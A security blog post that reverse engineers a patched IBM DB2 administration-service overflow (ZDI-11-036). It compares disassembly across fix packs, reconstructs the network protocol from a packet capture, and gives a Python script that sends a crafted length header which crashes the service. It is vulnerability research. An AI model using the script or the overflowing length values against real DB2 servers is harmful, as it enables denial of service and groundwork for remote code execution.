Analysis of ZDI-11-036, DB2DAS “ping of death”

In this post I try to analyse/reverse engineer ZDI-11-036, a buffer overflow, in the IBM DB2 administration service.

We can check the advisory at ZDI for information about the vulnerability:

The flaw exists within the db2dasrrm component which listens by default on TCP port 524. When allocating a buffer within receiveDASMessage a user supplied length is used as a parameter to malloc(). This buffer is later copied into without any bounds checking and can be made to overflow. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the das user user.


I’ve compared DB2 express 9.7 FP1(A) with FP4(B). The function can be found in libdb2dasapi.so. The main differences are:
DIFF1:

    A[*]:
        BasicBlock [59ad6, 2]
            59ad6: 'test'	'%eax,%eax'
            59ad8: 'ja'	'59adf <receiveDASMessage+0x2a5>'
    B[*]:
        BasicBlock [513f8, 2]
            513f8: 'cmp'	'$0x1,%eax'
            513fb: 'jb'	'51404 <receiveDASMessage+0x2a8>'
    B[*]:
        BasicBlock [513fd, 2]
            513fd: 'cmp'	'$0xfffff,%eax'
            51402: 'jbe'	'51409 <receiveDASMessage+0x2ad>'

DIFF2:

    A[*]:
        BasicBlock [59b26, 3]
            59b26: 'mov'	'0x34(%ebx),%edx'
            59b29: 'test'	'%edx,%edx'
            59b2b: 'jbe'	'59b6c <receiveDASMessage+0x332>'
    B[*]:
        BasicBlock [51450, 3]
            51450: 'mov'	'0x34(%ebx),%edx'
            51453: 'cmp'	'$0x1,%edx'
            51456: 'jb'	'514a3 <receiveDASMessage+0x347>'
    B[*]:
        BasicBlock [51458, 2]
            51458: 'cmp'	'$0x9fffff,%edx'
            5145e: 'ja'	'514a3 <receiveDASMessage+0x347>'

First I wanted to create a simple client which can do some basic DAS requests. To achieve this, I’ve extracted and decompiled the files found under the unittests directory in db2das.jar. There are plenty of commands there. For start I’ve used TestDasPing.java. The code is really simple:

import com.ibm.db2.das.core.DasException;
import com.ibm.db2.das.core.DasPing;
import com.ibm.db2.das.core.Sqlca;

public class TestDasPing
{
    public TestDasPing(TestConfigParms testconfigparms)
    {
            DasPing dasping = new DasPing(TestConfigParms.DESTINATION, TestConfigParms.DESTTYPE);
            dasping.run();
            Sqlca sqlca = dasping.getDasSqlca();
            System.out.println("Sqlcode = " + sqlca.getSqlCode());
            if(sqlca.getSqlCode() == 0)
            {
                System.out.println("Version = " + dasping.getVersion());
                [...]
            }
        }
        catch(DasException dasexception) {
			[...]
        }
    }
}

I’ve run the client, and recorded the traffic with ngrep:

####
T 192.168.0.130:38537 -> 192.168.0.131:523 [AP]
  00 00 00 00 44 42 32 44    41 53 20 20 20 20 20 20    ....DB2DAS      
  01 04 00 00 00 10 39 7a    00 12 00 00 00 00 00 00    ......9z........
  00 00 00 00 01 0c 00 00    00                         .........       
##
T 192.168.0.130:38537 -> 192.168.0.131:523 [AP]
  00 00 00 0c 00 00 00 0c    00 00 00 04                ............    
##
T 192.168.0.131:523 -> 192.168.0.130:38537 [AP]
  00 00 00 00 44 42 32 44    41 53 20 20 20 20 20 20    ....DB2DAS      
  01 04 00 00 00 10 39 7a    00 12 00 00 00 00 00 00    ......9z........
  00 00 00 00 24 f7 00 00    00                         ....$....       
##
T 192.168.0.131:523 -> 192.168.0.130:38537 [AP]
  00 00 00 9b 00 00 00 0c    00 00 00 5a 00 00 00 10    ...........Z....
  00 00 00 0c 00 00 00 4c    00 00 00 00 00 00 00 24    .......L.......$
  00 00 00 0c 00 00 00 4f    00 00 00 00 00 00 00 00    .......O........
  00 00 00 00 00 00 00 00    00 00 00 00 00 00 00 00    ................
  00 00 00 10 00 00 00 0c    00 00 00 4c 00 00 00 00    ...........L....
  00 00 00 19 00 00 00 0c    00 00 00 04 00 00 04 b8    ................
  53 51 4c 30 39 30 37 31    00 00 00 00 16 00 00 00    SQL09071........
  0c 00 00 00 04 00 00 04    b8 20 20 20 20 20 00 00    .........     ..
  00 00 1c 00 00 00 0c 00    00 00 04 00 00 04 b8 20    ............... 
  20 20 20 20 20 20 20 20    20 20 00 00 00 00 5c 00              ....\.
  00 00 0c 00 00 00 08 00    00 00 10 00 00 00 0c 00    ................
  00 00 48 00 00 00 09 00    00 00 10 00 00 00 0c 00    ..H.............
  00 00 48 00 00 00 07 00    00 00 10 00 00 00 0c 00    ..H.............
  00 00 48 00 00 00 00 00    00 00 10 00 00 00 0c 00    ..H.............
  00 00 48 00 00 00 01 00    00 00 10 00 00 00 0c 00    ..H.............
  00 00 48 00 00 00 01                                  ..H....         
##
T 192.168.0.130:38537 -> 192.168.0.131:523 [AP]
  00 00 00 00 44 42 32 44    41 53 20 20 20 20 20 20    ....DB2DAS      
  01 04 00 00 00 10 39 7a    00 12 00 00 00 00 00 00    ......9z........
  00 00 00 00 08 00 00 00    00                         .........       
###

After doing some reversing the protocol is the following: At first in both directions of the communication a header is sent. First we send a 0 word, then 0x25 bytes of the header. The header begins with “DB2D” “AS__” “____”, called DasEyeCatcher in the code. I didn’t checked so far, what the remaining bytes are for, except for the last 4 bytes, which are storing the length of the data belonging to the current command if there is any. If this value is not 0 then another packet is sent, the data belonging to that specific command. [In the example this value is 0x0c, and after 0x0c = 12 bytes are sent.]

And the best thing is, that 0x34(%ebx) in DIFF2 contains the last 4 bytes of the header, which is the size of the data block. As we see they added a check, so this value must fall between 0 and 0x9fffff, in the fixed versions of the product. Now lets check what happens if this value doesn’t fit into that range.

I’ve created a small python script to send the DAS ping message:

#!/usr/bin/python
import socket
def printba(ba):
	for i in range(len(ba)):
		if (i+1) % 16 == 0:
			print ""
		print "%02x " % ord(ba[i]),
	print ""
prefix= "\x00\x00\x00\x00" "DB2DAS      " \
        "\x01\x04\x00\x00\x00\x10\x39\x7a" \
        "\x00\x12\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00"
size = "\x0c\x00\x00\x00"

buf1 = prefix + "\x01" + size
buf2 = "\x00\x00\x00\x0c\x00\x00\x00\x0c\x00\x00\x00\xa0";

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.131',523))
s.send(buf1)
s.send(buf2)
printba(s.recv(1024))
s.close()

Now we can attach with a debugger, and trace the execution paths. The server side code tries to parse the header, and if it was correct, it tries to allocate a buffer for the specified length, to receive the data belonging to the specific command. The allocation is done with _ossMemAlloc.

I’ve checked roughly _ossMemAlloc (it’s a pretty huge function):

0xb7d50aa8 <_ossMemAlloc+228>:	mov    <<ARG_SIZE>>,%eax
[...]
0xb7d50ab3 <_ossMemAlloc+239>:	mov    %eax,0xffffffec(%ebp)
[...]
0xb7d50ac1 <_ossMemAlloc+253>:	mov    %edx,0xffffffec(%ebp)
[...]
0xb7d50af9 <_ossMemAlloc+309>:	addl   $0x10,0xffffffec(%ebp)
[...]
0xb7d50afd <_ossMemAlloc+313>:	mov    0xffffffec(%ebp),%eax
[...]
0xb7d50b03 <_ossMemAlloc+319>:	add    $0x10,%eax			
[...]
0xb7d50b09 <_ossMemAlloc+325>:	push   %eax
[...]
0xb7d50b0a <_ossMemAlloc+326>:	call   0xb7267c60 <malloc>

As we can see, the size parameter gets incremented a few times before it is given to malloc. If we pass a very high value, like 0xffffffff, an integer overflow can occur, and the malloc-ed buffer will be only 20 bytes. I’ve played around with a few values: if we pass for example 0xffffffe0, an 8byte array get’s allocated, and a SIGABRT kills the DB2DAS process.

Unfortunately, I couldn’t crash the process with 0xffffffff. I guess it needs further debugging to figure out how to do the overwrite correctly. If I succeed with it (the goal is of course code execution), I will show you the details in another post.

Advertisements
This entry was posted in Security and tagged , , , . Bookmark the permalink.

2 Responses to Analysis of ZDI-11-036, DB2DAS “ping of death”

  1. Pingback: 漏洞分析文章集合

  2. Pingback: Analysis of CVE-2012-0711 (IBM DB2 Integer Signedness Error) | Axtaxt's Blog

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s